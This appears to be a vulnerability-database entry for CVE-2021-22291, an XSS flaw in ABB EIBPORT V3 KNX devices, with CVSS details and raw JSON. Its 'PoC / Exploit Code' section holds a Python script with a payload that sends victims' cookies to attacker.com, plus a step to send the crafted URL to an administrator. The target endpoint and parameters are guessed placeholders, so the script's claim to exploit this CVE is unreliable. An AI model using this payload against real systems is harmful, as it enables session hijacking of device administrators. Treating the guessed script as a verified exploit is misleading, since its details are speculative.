Security Vulnerability Report
中文
CVE-2021-22291 CVSS 8.0 HIGH

CVE-2021-22291

Published: 2025-10-07 14:15:33
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in ABB EIBPORT V3 KNX, ABB EIBPORT V3 KNX GSM.This issue affects EIBPORT V3 KNX: before 3.9.2; EIBPORT V3 KNX GSM: before 3.9.2.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ABB EIBPORT V3 KNX < 3.9.2
ABB EIBPORT V3 KNX GSM < 3.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2021-22291 - ABB EIBPORT V3 KNX XSS PoC # Vulnerability: Reflected/Stored Cross-Site Scripting (XSS) # Affected: ABB EIBPORT V3 KNX before v3.9.2 import requests TARGET_URL = "http://<target-ip>/cgi-bin/" # Replace with actual target endpoint SESSION_COOKIE = "session=<admin-session>" # Admin session cookie required # Malicious JavaScript payload - steals session cookie and exfiltrates to attacker server XSS_PAYLOAD = ( "<script>" "fetch('https://attacker.com/steal?cookie=' + document.cookie)" "</script>" ) def exploit_xss(target_url, payload): """ Inject XSS payload into vulnerable parameter. The vulnerable parameter is typically a user-controlled input field in the EIBPORT web management interface. """ headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" } # Example: injecting payload into a vulnerable parameter (e.g., username, search field) params = { "username": payload, "page": "config", "action": "view" } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if payload in response.text: print("[+] XSS payload reflected in response - VULNERABLE!") print(f"[+] Target URL: {response.url}") # Craft malicious URL to send to admin malicious_url = response.url print(f"[+] Send this URL to admin: {malicious_url}") else: print("[-] Payload not reflected - may be sanitized or not vulnerable") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_xss(TARGET_URL, XSS_PAYLOAD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-22291", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:33.127", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in ABB EIBPORT V3 KNX, ABB EIBPORT V3 KNX GSM.This issue affects EIBPORT V3 KNX: before 3.9.2; EIBPORT V3 KNX GSM: before 3.9.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108471A7808&LanguageCode=en&DocumentPartId=pdf&Action=Launch", "source": "[email protected]"}]}}